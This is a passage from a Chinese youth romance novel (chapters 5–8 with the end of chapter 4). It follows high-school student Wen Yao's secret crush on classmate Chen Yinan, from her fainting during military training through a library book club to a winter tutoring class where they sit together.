“突然晕倒了?”
陈翊南回:“是,突然晕倒的。”
医生摘下听诊器,说道:“没事,就是低血糖。一会儿,我给她注射点葡萄糖溶液。”
江枫呼出一口气,拍拍陈翊南肩膀,安慰着:“没事了没事了,人家就是低血糖犯了。”
陈翊南拽过被角,轻轻搭在病床上的女生身上。刚才情况紧急,现在心中石头落地,才真正看清了她的脸。
巴掌大小的脸,白皙光滑,脸颊两侧也没什么肉,显得很清瘦。黑框眼镜下,长而密的睫毛正安静搭在眼睑处。
被子下面露出的手腕很细,细到他觉得自己一只手就能握过来,还能有不少空余。
陈翊南眼眸微闪,很快便移开目光。
江枫被他拉到外面,问:“咱们这就走了?”
“你先回去,帮我和教官说一声。”
“嗯?你不走?”江枫疑惑道。
陈翊南道:“我去买点东西,一会归队。”
江枫一脸了然,“哦行吧,那我先走了。”说完,又笑嘻嘻地凑过来说道:“你好好陪人家,我就不打扰你们了。”
不等陈翊南骂他,就急忙跑远了。
陈翊南扯唇一笑,这次倒是学聪明了。
他的确需要买东西,便又回到了校超市。
陈翊南拿了几块巧克力,结账时看到收银台旁边挂着的棒棒糖,又顺手拿了两个。等老板用塑料袋装好,才提着袋子朝校医务室走去。
_
温窈醒来时,医生刚静脉推注完葡萄糖溶液不久,手
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背还能感觉到微微刺痛感,她懵懵地抬眸望去。
医生见她醒了,解释着:“姑娘,你这是低血糖晕过去了,是早上没吃饭吧。”
怪不得晕乎乎的,还真是低血糖。
不过……
似是知道温窈心中疑惑,医生接着说道:“多亏了有两个男同学把你送过来。这低血糖听着事小,但严重起来也是不开玩笑的。所以,以后记得三餐按时吃——”
男同学?
温窈倏地坐起身。
医生差点被她吓一跳,连忙问:“怎么了?”
温窈尴尬笑笑,借口道:“我去一趟卫生间。”
刚才,她记起来了。
是在去超市转角处撞到了人。当时,她来不及刹住脚步,便撞进了一人怀里,而后便没了意识。再醒来,就在这医务室了。
温窈摸摸额头,实话说,还挺疼的。
就是不知道是谁好心送她来的医务室,做好事不留名,这下想说声谢谢都没有机会开口。
她打开水龙头,水流冲刷着她汗涔涔的手,凉意从指尖传到手背,舒爽许多。
注射完葡萄糖溶液后,温窈的低血糖症状得到缓解,整个人轻松了不少,脑袋也重新开始运转。
她洗净手从卫生间出来,刚想刷饭卡结算下药钱,便被告知已经有人替她付过了。
看来是那两个好心人帮她付的了。
温窈无奈把饭卡揣进口袋,摁下医务室门把手出门。她低头迈下台阶,眼前忽然落下一片阴影。
“身体没事了?”清冽嗓音在头顶响起。
温窈抬眸望去。来人一身军绿色迷彩服,收紧的腰带勾勒出挺拔身形。等她再往上看,不由得一惊。
陈翊南怎么在这?
他刚才是在问自己?
温窈迟疑开口:“好多了。”
陈翊南点点头,将手里的塑料袋递给她,“离上午军训结束还有段时间,里面是几块巧克力和糖,你拿着以防低血糖再犯。”
温窈怔了下,突然意识到什么。
“我晕倒前撞到的人,是你?也是你把我送到医务室的吗?”
陈翊南以为面前的女生因此感到抱歉,便解释道:“没事,举手之劳,你不必放到心上。”
“还有,这糖也拿着吧。”
温窈只好接过袋子,见陈翊南送完东西转身要走。
她忙道:“你刚才还帮我付了药钱吗?”
陈翊南点头,不等他开口,女孩已经从口袋里掏出了一个东西递到了他面前。
随即,有些软糯的声音响起:“我身上没有现金。不介意的话,可以请你吃午饭,你刷我的卡。”
糖和药加起来也没多少钱,陈翊南正准备拒绝,目光不经意间一扫,就愣住了。
女孩手里拿的蓝色饭卡展示的是背面,背面会粘有一个细条贴纸,上面标了相对应的名字和学号。
陈翊南看得清晰,此时饭卡的贴纸上面标着的名字,他认得。
“你是温窈?”他问道。
温窈睫羽眨动,眸中掠过一丝惊讶。她拿着饭卡的手臂缓缓垂下,心中疑惑。
陈翊南他,还记得自己?
5. chapter05
“余光中先生说,期待是一种半清醒半疯狂的燃烧。此刻,这句话来形容我,再合适不过。”
——《我与y》
“你还记得我?”温窈仰头迎上少年目光。
说完她就意识到不对。没记错的话,之前她并没有告知陈翊南自己的名字。
只见陈翊南轻嗯一声,淡淡开口:“你在哪个班?抽空我把胸牌还你。”
“胸牌?”
陈翊南看了她一眼,“鸣溪实验中学,08级,温窈。你的胸牌,那天我捡到了。”
温窈恍然。
是了,他并没有认出自己。
她微抿了下唇,回道:“我在11班,麻烦你了。”
“没事。”
“你帮了我这么多。今天的午饭,还是让我请你吧。”怕陈翊南再次拒绝,温窈急忙补了一句:“要不然,我心里会一直过意不去的。”
陈翊南看着面前执拗的女孩,终是妥协道:“好。”
温窈同他约定好地点,两人一同回的操场。
11班与12班的训练场地在一处,一起回来避不可免被看到。
休息期间,沈佳雪凑过来问道:“温窈,你怎么和陈翊南一起回来的?你俩认识啊?”
网上说,人和人之间会有一种磁场,在见第一面时就奠定了两人是否相合。
温窈想,那她和沈佳雪的磁场或许就不太相合。谈不上喜欢,也谈不上厌恶。不过是沈佳雪说话时总有种高高在上的姿态,偶尔令她反感。
“我低血糖去超市买巧克力,碰巧他也在。不过,我和他不熟。”温窈笑笑说。
她隐去了陈翊南送她去医务室的事,怀有私心地不想让沈佳雪知道,也省得徒添事端。
“哦,这样啊。”沈佳雪目光投向陈翊南所在的地方,起身拍拍手,颇为自信地说道:“他这样优秀的男生,肯定不缺人追,但一定是同他一样优秀的女生才匹配的上。”留下这一句话后,便跑走了。
说者无意,听者有心。
温窈微怔,顺着刚才沈佳雪的目光望去。
悬铃木下,少年唇角带笑,正低下头听旁边人说话。阳光顺着树叶缝隙,斜斜洒落在他的耳侧,唇畔。
他在发光。
她不得不承认沈佳雪有句话说的没错。
中考以563分一骑绝尘,他太优秀了,也太遥远了。
_
下训后,温窈怕人等急,一路小跑到两人约定的地方。
陈翊南和另一个男生已经等在那里。等温窈走过来,旁边男生打量一番后,颇为惊讶道:“同学,你竟然真是便利店外那个女生啊。你戴上眼镜,完全是另一个人,我都没认出来!”
陈翊南用胳膊撞了下他,说道:“行了,走吧。”
三人朝食堂走去,路上陈翊南落后两步,趁男生不注意,靠近她说:“不用理他,他这人就是话多。”
温窈笑回:“好。”
三人最终决定吃炒菜,事实是那个男生想吃,拉着陈翊南就直奔炒菜窗口。
来的路上温窈就从陈翊南口中得知了男生姓名,陈翊南叫他江枫。
江枫排在最前面,他选完菜后先行离开去占位置,留下温窈和陈翊南两人在原地。
温窈等陈翊南点完菜,替他刷了卡。
陈翊南说了声谢谢,并问道要不要和他俩一起吃饭。
温窈明白陈翊南只是出于礼貌而邀请,便以去找同学吃饭为由婉拒了。也多亏她婉拒了陈翊南的邀请,才没有被恰好从门口进来的沈佳雪看到。
她在心中松了口气。心想,人果真不能撒谎,撒一个谎就要用十个谎来圆。
一周时间过得很快,军训汇演完美落幕。
不枉教官的一周地狱训练,11班还在最后的军训汇演中获得了一等奖,连带着罗建平都高兴得脸上皱纹又多了几条。
温窈由于走方队,没法观看汇演,自然也没看到陈翊南作为举旗人的样子,想来多少有些遗憾。
不过,老天爷或许并不想让她留有遗憾,很快她就在休息日逛学校贴吧时发现了意外之喜。
贴吧里有条帖子热度很高,楼已经盖了几百层。温窈粗略扫了眼楼下,大部分都是在和楼主打听帅哥是哪个年级哪个班。
这是一张照片。
照片里的人踢着十分标准的正步,手中红旗向前甩去,嘴角噙着散漫笑意。
温窈定睛一看,立时从床上坐直了身子。
照片里的人竟然是陈翊南。
还真是“山重水复疑无路,柳暗花明又一村”。
温窈翻来覆去看了不下十遍,最后鬼使神差地点了保存,并将相册命名为“y”。
她忘了那天有多开心,只记得自己多吃了一个冰激凌。
甜甜的。
_
放假回来后,便迎来了北淮的开学摸底考试。不仅是面向高一,全年级都会有开学考试,学校的目的是为了让大家收心。
温窈倒觉得这是一条分界线,标志着她真正成为了一名高中生。之前像是一直飘在空中,如今终于落到了实地。
北淮的批卷速度向来以快著称。一般需要两天才能批改完的试卷,北淮老师却只需要一天。
出成绩的这天,人心惶惶。
课间时间,罗建平慢悠悠地走进教室。教室内,上一秒还有人在喧哗,下一秒就安静如鸡。
有人问:“罗老师,出成绩了?”
罗建平点头,他背在身后的手缓缓拎出一张白纸抖了三抖,“这个就是咱们班这次的摸底考试成绩。我贴在公告栏里,你们一会自己来看。这次就是看一下大家的水平如何,所以不要过于在意考好考坏。踏踏实实走好接下来的每一步,才是最重要的。”
临出门前,他又回头说道:“今天下午自习课,我会重新排一下座位。”
公告栏前围满了人,沈佳雪哼着小曲从人群中挤出来,刚坐下就转过身和后桌女生聊了起来。
看来这是考得不错,温窈看见她嘴角盈满笑意。
两人攀谈的话语声传进温窈耳朵里。
“怎么样,我这次考的还行吗?我都不敢去看。”
沈佳雪说了个排名,女生猛松一口气,“还好没有退步。欸小雪,你这次考的可不差吧?”
沈佳雪笑回:“也还行,就是第三而已,不过我之前都没掉出过前两名。”
“没事,那也很厉害啦!”
“哈哈没有了,比我厉害的多的是。”
沈佳雪和后桌聊完又直冲温窈而来,一张口,温窈就知道她要说什么。
大概是来和自己说成
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绩。
“温窈,你这次考的也不错,能在班里排第八呢。”
唔,她没猜错。
温窈侧目微微一笑,礼貌回道:“好的,谢谢你帮我看成绩。”
话题终结在这里,沈佳雪轻撇了下嘴,觉得自己同桌无趣极了。
一中的午休时间不算长,大部分人都选择在学校吃午饭,然后回教室休息。
前几天晚上吃饭时,赵思诚还问过温窈在学校过的顺不顺利,和同学之间相处的好不好。当时没等自己回答,就被陆文慧打断了。
陆文慧一边喂儿童座椅上的赵景旭,一面说道:“窈窈这么乖,上哪和同学相处不好,你就别瞎操心了。”
赵思诚笑着回好,接着和她说:“窈窈如果在学校遇到了困难,记得及时和家里说。”
温窈乖巧点头。
那晚,这个话题就此带过。
此时,她独自一人去食堂,又独自一人回教室。看着人来人往,没来由的感到一阵难过。
下午大课间的时候,老罗又来了一趟教室。说是摸底考试结束了,是时候把班委选出来了。
沈佳雪自荐了学习委员,靠窗那列的一个高马尾女生自荐文艺委员,其次就是班长,体育委员,都有了人选。
倒是几个主科的课代表还没有人主动报名,不等老罗指定,上课铃就响了,这件事只好暂时搁置。
等历史课结束后,班长走过来轻轻敲了两下温窈桌子,说道:“温窈,老罗找你。”
温窈停下笔,顺嘴问了句:“班主任找我有什么事?”
班长是一个有些憨憨的男生,叫商涛。他挠了挠头,说:“我也不太清楚,你去问问吧。”
大概是第一次上任,商涛有些紧张,加上天气热,显得他的脸更红了。
温窈友好地朝他笑笑,回道:“好,我这就去。”
这一层的教师办公室在12班旁边,温窈路过12班后门时,特地朝里面看了一眼。
靠窗倒数第二排的位置,陈翊南正歪着头在纸上写写画画。似乎遇到了什么难题,眉心微微皱了下。
走廊里不断有人经过,温窈迅速收回目光,脚步轻快地朝办公室走去。
老罗正在写教案,抬头看见温窈进门后,放下笔招呼道:“温窈是吧?”
温窈走近点点头。
他拿出两张成绩单,说:“我看了你的成绩,数学和语文都挺不错的。有没有考虑当课代表,锻炼一下自己。”
温窈犹豫了下,实话说她并没有当班委的经验。初中时,班主任也问过她做不做班委,不过她觉得麻烦便婉拒了。
这时,办公室的门再次被打开。
老罗偏头一看来人,语气责备道:“来这么慢,干什么去了?”
温窈在一旁听的真切,老罗说出的话中,分明寻不到一丝责备的气息。
有人走到她身旁,鼻尖飘来一阵熟悉的薄荷柑橘香,懒洋洋的声音在耳边响起:“想竞赛题呢,来晚了些。”
老罗递给他一摞试卷,笑道:“来,帮我把这些预习学案发下去。记得告诉班里,明天上课之前写完。”
陈翊南点头接过试卷,很快就离开了。
办公室里一如既往地热闹,温窈忽然说道:
“老师,我试试数学课代表吧。”
6. chapter06
“有时我并不否认自己是一个三分钟热度的人。这一路走来回头望去,对于喜欢你这件事情,我竟然坚持了这么久。”
——《我与y》
成为数学课代表的想法,是在陈翊南走后那一刻才有的。
当站在他身旁时,她骤然意识到,这样似乎可以离他更近一些。哪怕只是有些微末的交集,她也愿意一试。
温窈抱着预习学案走出办公室,一转身就愣住了。
陈翊南正斜斜倚靠在门旁边的墙上,听见动静后朝她这边望来。他站直身子,说道:“这几天有些忙,你的胸牌我明天带来还你。”
温窈忙说:“没事我不急,你什么时候有空什么时候给我就好。”
陈翊南点点头,两人于廊道擦肩而过,温窈心乱如麻地回到教室。
这样的状态一直持续到上课铃响起,她拍拍脸颊,清醒了几分。
老罗在自习课时来重新排座位,温窈被安排到了教室中间第三排的位置,同桌也从沈佳雪换成了一个看起来有些内敛安静的女生。
女生掀到语文课本扉页,往温窈这边悄悄推了推,轻声说道:“你好,这是我的名字。”
温窈低头看了眼,书上写着两个字:虞眠。
虞眠双眸明亮,定定看着她,耳侧早已染上些许红意,此刻竟有些莫名可爱。
教室内静悄悄的,偶有翻书声响起,温窈笑着小声介绍自己:“你好,我是温窈,窈窕的窈。”
_
坐在教室中间的好处,大概就是可以看见门外走廊。
她学累抬头时,总会期盼着那个熟悉的身影会不会在门口经过。
下午大课间的时间稍长些,江枫时常会拉着陈翊南去打篮球,两人又会赶在上课前的两分钟踩着预备铃响起时回来。
12班的班主任叫方媛,负责两个班的语文课教学。她一袭短发,干净利落,冷着脸的时候很吓人,人送称号“拽姐”。
方媛最不喜欢的就是上课迟到,迟到的人会被她罚站。不是在课上,而是在课间走廊。人流量大的时候最为要命,温窈曾想,方老师定是精通高中生心理学。
不过,陈翊南两人一如既往地会踩着预备铃响起时回到教室。
而温窈常常选在大课间快上课的时候去走廊尽头接水,这样回来的时候就会正好碰到从楼梯上来的两人。她会假装在喝水,然后默默跟在两人身后回到教室。
乃至后来回想起高一,她印象里最多的,竟然是陈翊南的背影。
这大概就是暗恋者无法言之于口的苦涩之一。
高中时的校服或多或少都会有些不合身,但墨绿色的校服穿在他身上却是恰到好处。他喜欢穿白色球鞋,爱干净,不喜欢别人弄脏他的鞋。就连江枫不小心在他鞋上踩了个大黑脚印,都会被他“踹”一脚。
两人喜欢在餐厅西北角吃饭,那里人少清净。某次温窈买炒菜时排在他后面,隔了两个人的位置。陈翊南没有注意到她,买完后径直走了,而她稍一偏头就看到了他选的菜品。
番茄炒蛋与土豆炖鸡,炖菜上面还撒了点香菜调味。
陈翊南也喜欢吃番茄炒蛋。
这样的共同点,让她心底泛起一丝喜悦。
这样的点点滴滴还有很多。处于人群中,她的目光总是会下意识的去寻找他,观察陈翊南似乎成为了她每天的习惯。
以至于她后知后觉,原来早就不知道在哪个瞬间里,他正在悄悄占据她的心脏。
他掠地攻城,她溃不成军。
_
这天是9月的最后一天,高一年级假期正常,有七日。
明天开始放国庆,教室里兴奋地乱成了一锅粥。经过一个月的高压学习,不少人都想趁机好好放松一下。
沈佳雪坐在温窈斜后方,正和小姐妹们商量着去哪里哪里逛街吃饭。
她同桌笑着打趣道:“小雪,你不是约了陈翊南?还有时间和我们出来逛嘛?”
温窈心中咯噔一下,顿时打起精神听着。
陈翊南他答应了沈佳雪的邀约?
沈佳雪在追陈翊南已经不算是秘密,班里人尽皆知,甚至有不少人暗地里在磕两人cp。沈佳雪长得漂亮学习好,大家都认为,才子配佳人,两人天生一对。
唯温窈不这样认为,她只是觉得,大家作业还是太少了。
但此时,她的心里仍旧像堵了团棉花一样难受。
温窈没能听到沈佳雪的回答。沈佳雪回答时,老罗正好走了进来。
罗建平咳嗽两声,教室内瞬间安静。
“各科课代表随我来办公室,发一下国庆假期的试卷。”他说道。
温窈前脚刚走进办公室,陈翊南后脚就进来了。
老罗坐下后,将办公桌上早就分好的试卷递给两人,接着还布置了几道课后题。最后,他又叮嘱两人一定要在黑板上写清楚作业,这才摆摆手让两人可以回去了。
两人一同出的门。
陈翊南拧动门把手打开门,转头示意温窈先走。
等她出去后,他才轻轻阖上门。
温窈站在走廊里想了想,终究还是开口叫住了他。
“陈翊南。”她道。
“嗯?”
男生微微侧身。
夕阳余晖洒在他身后的白瓷砖上,变成淡橙色晕染开来。
身前人正等着她开口,她试探性问道:“你假期有什么安排吗?”
温窈能感到自己手心已经开始微微冒汗,害怕与紧张的情绪交织在一起,她的喉咙简直像吃了半个柠檬一样难受。
陈翊南认真地想了想,回:“没有,怎么了?”
堵塞在心口的那团棉花忽而消散,温窈呼吸到的第一口空气都带着丝丝甜意。
她按耐住心中的雀跃,说:“没事。我就是突然想起来,10月5号市图书馆有读书会活动。如果你有空,也可以来看看。”
陈翊南淡声道:“好,我看一下时间。”
不知道是不是他的错觉,此刻的温窈似乎比刚才在办公室里时,心情变好了许多。她没有说话时,嘴角都在微微上翘。
陈翊南没细想,便告别了温窈。
温窈回到教室,挑了根粉笔在黑板上写下数学假期作业安排,她把试卷发下去后坐回座位。
一旁,虞眠探过头来问:“你是在办公室碰到什么开心事了吗?笑这么开心。”
“啊,有吗?”
虞眠伸出手指戳了戳她嘴角,“有,嘴角都快咧上天了。”
温窈平复下心情,反驳道:“没有,你肯定
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看错了。”
“不可能。”
“好吧,其实我是在办公室听到了一个冷笑话,你要听吗?”
“那算了。”
温窈嘴角悄悄弯了下,虞眠回过头继续写试卷。
过了一会儿。
“不对啊,办公室哪有冷笑话听。”
“嘘,快写作业!”
_
国庆七天假,温窈在家里写了四天作业,才堪堪完成了一个九成。
她翻了翻试卷,剩的不多,就差两张没写了。
温窈揉了揉发酸的手腕,正想出门接杯水喝,赵思诚就来敲门了。
“怎么了?赵叔叔。”温窈打开门。
赵思诚笑着问:“窈窈,明日要不要一起去公园玩?”
温窈这才猛地想到明天就是5号了,是她和陈翊南说市图书馆举办读书会活动的日子。
“叔叔,明天我就不去公园了。我想去图书馆查点资料。”
“这样啊,行。什么时候去,需不需要送你?”
陆文慧在一旁经过,恰好听到两人谈话,她笑道:“公园和图书馆不顺路,总共也没多远。家里有自行车,窈窈这么大了,自己骑车去就行。是吧,窈窈?”
温窈都不知道自己最后有没有笑出来,她只记得自己说道:“是的,赵叔叔。我自己骑车去就行,实在不行,还有公交能坐。”
“那好,窈窈,如果有事就给你妈打电话。”
“好。”
次日一早,温窈难得睡了个小懒觉。
平时这个点,早就传来赵景旭在客厅里跑来跑去的脚步声了。她常常被吵醒,但也不好说什么。
此时家里却是静悄悄的,看来是已经都走了。
图书馆早上开门时间是八点半,不算早。
温窈也不用太着急,她给自己做了个简单的早餐,吃完后才出门。
自从她暑假来到北淮,还没怎么出门过。去的最远的地方,就是家附近的那个大超市。
她在车库里找到了自行车,构架是白色,车把和车座上有落灰,不知道在这仓库里放了多久了。大体一看还不错,可惜轮胎已经瘪了下去。
不清楚是轮胎没气还是破胎,温窈想打气试试。但她找了半天也没找到打气管,无奈之下只好去等公交。
公交车断断续续地停了几次,等她坐到市图书馆,已经是早上九点十五分。
而读书会在九点开始,她晚了十五分钟。
温窈顺着指示牌找到举办读书会的小型放映厅,她打开门,意外发现人竟然还不少。
台上已经有人在讲话,她弯腰偷偷溜到后排,趁没人注意到自己,迅速找了个位置坐下。
温窈理了理头发,靠着椅背呼出一口气。这时,她才感觉到旁边有道目光落在了自己身上。
她一偏头,恰好对上陈翊南笑意盈盈的目光。
温窈愣了一下,接着匆忙挥手道:“好巧啊。”
说完,她就想找个地缝钻进去了。
一点都不巧,这活动还是她告诉陈翊南的。她只恨自己的嘴皮,有些没话找话。
沉默在空气中蔓延,温窈从未觉得看个读书会竟会如此煎熬。
很快,她就听到身旁人轻笑了声:“嗯,是挺巧的。”
7. chapter07
“昨天别人在我身旁大声地说出你的名字,这对于我,像从敞开的窗户扔进了一朵玫瑰花。”
——《我曾这样寂寞生活》
台上正在分享《额尔古纳河右岸》,领读人轻声细语,婉婉道来,诉说着鄂温克族人自己的“百年孤独”。
“她一步一步走过深秋,走过高原,走过人海,走过黄昏,停留在额尔古纳河右岸,和白色蒲公英做了个深沉的梦……”
温窈安静听着,她在想,她也曾走过春夏秋冬,跨过四季轮转,越过人海茫茫,来到了这里。
她时常感慨命运之神的眷顾,让她重新来到他的身边。于是,重逢,再遇,似乎都有了意义。
她读过这本书,里面有句话令她印象深刻。
书里说:“故事总要有结束的时候,但不是每个人都有尾声的。”
温窈用余光看向身旁,男生正一只手撑着头认真听着,长长的睫毛一颤一颤的。
在他看不见的地方,她唇角正在小幅度勾起。
至少现在,故事未完待续。
台上主持人拿起话筒开始讲话,“接下来,是静心冥想环节,请大家闭上双眼,让自己安静下来。”
陈翊南缓缓阖上双眼,进入冥想。
温窈也随之闭眼,一秒,两秒,三秒,她悄悄睁眼往身旁看了下,又赶在陈翊南睁眼前迅速闭上。
再后面就是共读环节,意在邀请大家分享自己的观点和感受。
陈翊南手腕上有一块黑色手表,温窈注意到他低头看了眼时间。
“后面也没什么了,要走吗?”她主动问道。
陈翊南点头,小声道:“好。”话落,他拿起一侧的斜挎包,弯腰跟在温窈身后走了出去。
随着放映厅的门缓缓关闭,分享人的声音被隔绝在屋内。
“会不会有些无聊?”温窈有些不好意思地问。
陈翊南偏头看来,“不会,《额尔古纳河右岸》我读过,挺不错的一本书。”
看来,她和他又多了一个共同点。
温窈低头,唇角情不自禁弯起。
她在心中默默发誓,等自己回家,抽空一定把这本书再读上一遍。哦不,是三遍。
两人不知不觉中已经走到了文学类书架旁边,这两排放的是诗歌一类的书籍。
温窈目光不经意间一扫,脚步就停住了。她走到书架前,拿起一本书端详。
陈翊南个子高,跟就在她身后,轻而易举地看到了书籍的外封。
是一本诗集。
他问:“你很喜欢洛尔迦的诗?”
黑白分明的一双杏眼望过来,微斜的光线打在她琥珀色的眼瞳里,澄澈干净。
她的睫毛忽闪了两下,眼眸随即一弯。
“很喜欢,我读的第一本诗集就是他的。感觉会有些小众,没想到这里竟然有。”
陈翊南突然想起,暑假那天弯腰帮她捡东西,无意间抬眼,就看到了放在她包里的这本书。
当时他有些诧异,不过并没有表现出什么。
在他房间内的书架上也有一本一模一样的,已经被他翻得有些旧了。她包里的这本虽然泛黄陈旧,书封却很新,想来是很喜欢或者很重要,所以被她保管的很好。
读书会还未结束,这一层没有什么人,馆内静悄悄的。
“Thebonesofathousandbutterfliessleeponmywall.”
清沉的嗓音忽然在温窈头顶响起,她正在翻书的手停顿了下。
这还是她第一次听陈翊南说英语。
他的英文发音流畅标准,尾音上扬,带着些莫名缱绻,撩人却不自知。
耳边有温热的气息抚过,温窈惊觉面上一烫,缓了好一会,才轻声开口:
“Andagreatswarmofyoungbreezescrossestheriver.”
她补全了后半截话。
一千只蝴蝶的骸骨睡在我的墙上,一大群年轻的微风渡过河流。
所以,陈翊南,你会是渡我的微风吗?
_
日子一天一天度过,平淡地不起一丝波澜。
仍旧是两点一线,教室,食堂。
温窈偶尔会在办公室碰到陈翊南,或是在去食堂的路上,亦或是在两班体育课重叠时的篮球场。
除此之外,两人并没有什么交集。但同过去相比,又多了些不一样。
视线相撞时,陈翊南会朝她点头示意。有时饮水机前碰到,他也会伸手示意她先接水。
不知道是不是她的错觉,自那次图书馆一别,两人之间的距离似乎拉近了些。他不再是距她千里之外,有种微乎其微的默契正在慢慢滋生,发芽。
但她有些贪心,她想离他近一些,再近一些。
若是不能做日月同辉时的太阳,那她也想成为离月亮最近的那颗星星。
天气渐渐转冷,风像刀片一样刮在脸上。
北淮的冬天比鸣溪还要冷上几分。往年温窈过冬时不喜欢穿秋裤,此时也被逼无奈套上了保暖秋裤。
她围着围巾,微低下头,一张白净的小脸紧紧缩在围巾里,感受着点点暖意。
身旁有车轮碾过地面的声音响起,她往左边靠了靠,很快,两辆山地车“嗖”地一下经过。卷起的寒风,令她微微眯眼。
“陈翊南,你骑那么快干嘛!”江枫的声音在不远处传来。
顺着冷风飘进温窈耳朵里的,还有少年的回答。
一如既往,腔调散漫。
这次,还带上了些逗弄的意味。
“江枫,方姐说,风里雨里,教室门口等你。”
江枫心里一惊,顿时登车登的又快了些。
昨天他就迟到了,今天再迟到,他不要面子的啊。
温窈看着远去的两抹身影,轻轻蹙眉。
陈翊南他,不怕冷嘛?
单纯走在路上就很冷了,而他骑车竟然连手套都没戴。穿的也很单薄,从后面看去依旧清瘦。
不像她,校服里穿了件薄绒秋衣,还又套了件卫衣。她能感觉到,平时空荡荡的校服外套,已经膨胀了起来。
等走进教室,她才将围巾摘下。
虞眠在一旁说道:“你再不来,我就要以为你迟到了。在老罗那,编什么理由我都已经想好了。”
温窈放好书包,笑了笑:“那恐怕不能如你所愿了。”她将作业拿出来,在桌子上码好。
虞眠等她收拾完,才把水杯一把塞进她怀里,“呐,热的,快暖暖手。”
“谢谢。”
不到一学期下来,她和虞眠的关系就已经很熟了。两人虽说都不是什么善谈的性子,但却意外合得来。
大概是,磁场相合。
天空还处于半明半暗的状态,教室内已经有朗朗读书声响起。
老罗戴着个雷锋帽走进教室,他拿起板擦敲了敲桌子,伸出手示意大家先停一下。
“我说一件事,说完你们再接着背。”
“再过三天就是期末考试了,这几天都
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抓紧复习一下,争取考个自己满意的成绩,好好回家过年。”
临走前,他又嘱咐了句:“这次期末成绩还关乎下学期文理分科,所以都打起精神来,重视着点。”
温窈微怔,经老罗一提,她才意识到下学期就要文理分科了。
时间过得好快,半年时间转瞬即逝。
不知道陈翊南会选什么,大概率应该是理科,毕竟他的理科那么优秀。
温窈心中猜测。
看见老罗走后,虞眠低下头,借书遮掩问道:“你准备学什么?”
温窈回神,犹豫着回答:“可能是文科吧。你呢?”
虞眠想也没想,答道:“文科。物理和化学,我实在是心有余力而不足。”她顿了顿,接着问:“你寒假准备报补习班吗?”
温窈疑惑,“补习班?”
虞眠点点头,解释道:“大部分人其实都会报补习班,想趁着假期弯道超车。没办法,毕竟下学期就要分文理科了。”
“那我考虑一下。”
当晚回到家,她就和陆文慧提了这件事。
温窈的成绩可以在班级排到上游。物化生虽说不太优秀,但也看的过去。唯一有些差强人意的,就是英语了。
这科,着实令她头疼。
那些语法,单词,单拎出来她能看懂,放进句子里就不太明白了。为此,英语老师也没少找她。
陆文慧问:“这补习班,非报不可?你初中的时候,我也没见你报什么补习班啊。”
“妈,下学期就是文理分科了。我能感觉到,自己学的有些吃力。”温窈思量了下,接着说道:“只补英语就可以。”
陆文慧没有立刻回复。
赵思诚走进客厅,见气氛不对,便问道:“怎么了,这是?”
陆文慧解释了一通,赵思诚打圆场道:“哎呀,这又不是什么大事。窈窈想补一下,咱支持就是了。”
赵思诚偏头,看着温窈说道:“等叔叔问一下认识的人,看看哪里补课靠谱些。”
温窈放在膝上的手指微曲了曲,回:“好,麻烦赵叔叔了。”
期末考试那几天很忙。温窈考场在二楼,而陈翊南在一楼的一考场。楼层交错,两人更不容易碰到了。
直到开始放寒假,她都没偶遇到他一次,心中不免有些失落。
一中的期末成绩会在寒假的第三天公布。温窈这次发挥的很好,在班里进步了八名,名次直接排到了第三名。倒是沈佳雪,这次期末从第二名下滑到了第六名。
不过,她也没精力去想同自己不想干的人。
经他人推荐,赵思诚帮她报了一个补习班,顺便还给她多报了一科数学。
今天就是补习班开课的日子。
补习班的地点偏市中心一点,温窈坐公交车去的。她到时,补习班刚开门不久,有人领着她进了二楼右侧的一间教室。
教室不算大,估计是个小班。只有零散几个人坐在里面,她随便挑了个位置坐下,等着到点开课。
今天上午补英语,她搓了搓冻僵的手指,从包里拿出英语课本,慢慢背着单词。
过了一会儿,没等到预备铃响起,女老师就拿着书和水杯走进了教室。
温窈朝四周看了眼,教室内基本都坐满了人。她收回目光,准备翻到下一页单词接着背。
紧接着,后门就发出“吱呦”一声轻响,门被打开了,随即有一阵冷风灌进屋内。
来人似乎打量了一下教室,便坐在了她身旁。
带着些许凛冬寒意。
8. chapter08
“我的理智从不以我的意识为转移,直到那天在长街的尽头遇到你。所有理智就此消亡,沉沦只在一刹那。”
——《我与y》
温窈余光扫去,只一瞬便愣住了。
他怎么来了?
她后脊微僵,正想翻动书页的手轻轻放下,一动不动地注意着身旁人的动静。
陈翊南从书包里拿出几张卷子,又在里面翻了半天才找到一支按动笔。
“咔哒——”
笔帽被按下,发出一种清脆而短暂的声响。
他在纸上写了个字,随后轻啧一声,又在纸上连续划了好几下。
温窈猜,他的笔应该是不下水了。
“用这个吧。”
陈翊南低头看去,一只黑色中性笔正静静躺在小巧白净的手掌里。
他侧身抬眸望向身旁递笔过来的人,这才注意到温窈。
她看见他眉梢微微挑动了下,继而接过笔,和她说了声谢谢。
温窈抽回手,慢慢抠着书角。
“好巧啊,你怎么也来了?”
憋了半天,她才憋出这句话。在他面前,她总是这样紧张。若是他不回答,她毫不怀疑,下一秒,自己就会慌不择路。
陈翊南停下笔,回:“找个地方来睡觉。”
“睡觉?”温窈惊讶,黑框眼镜下的双眸蓦地放大。
陈翊南看见她的反应,不由得失笑,“逗你的,你还真信。”
眼前人唇边勾着清浅笑意,眉目舒展,唇边有梨涡若隐若现。
温窈怔了下,突然想到一句话。
半刹那间八万春。
大概,就是如此。
_
上课铃响起,温窈思绪回神,陈翊南也回过头继续做试卷了。
此刻她有些庆幸,自己学习时不太会被环境影响,否则就现在陈翊南坐在自己身旁,自己肯定心神错乱,学不进去。
毕竟,赵叔叔给她花了钱,她总要拿出点成绩才说得过去。
压力,肯定是会有的。
两人课上学习时互不打扰,倒是温窈发现陈翊南似乎并不听英语课,他做的习题看起来也和她不太一样。
补习班的课一直上到一月三十日,一共是十五天的时间。温窈本来计划年前回鸣溪,去外婆那里住一阵。如今看来,只好作罢。
不过,她是有些庆幸的,庆幸自己做了报补习班的决定,然后很幸运地遇到了他。
她也曾不免地在心中想,倘若自己一直都这么幸运就好了。
回家路上,温窈坐在公交车靠窗位置,口袋里的手机突然震动了下。
周澄:“窈儿,放假了吗?什么时候回鸣溪?”
温y:“年前回不去了。”
周澄:“怎么啦?”
温y:“报了补习班,等课程结束也要过年了。等年后,我应该会回去。”
周澄:“好,等你!”
温窈笑了下,将手机揣进口袋,重新望向车窗外。
骑着山地车的清瘦身影,一闪而过。
往后几天,两人不约而同地没有变动座位,就这样一直做着同桌。她是怀有私心,而陈翊南大概是因为这个位置方便补觉,总不能是因为自己。
温窈想。
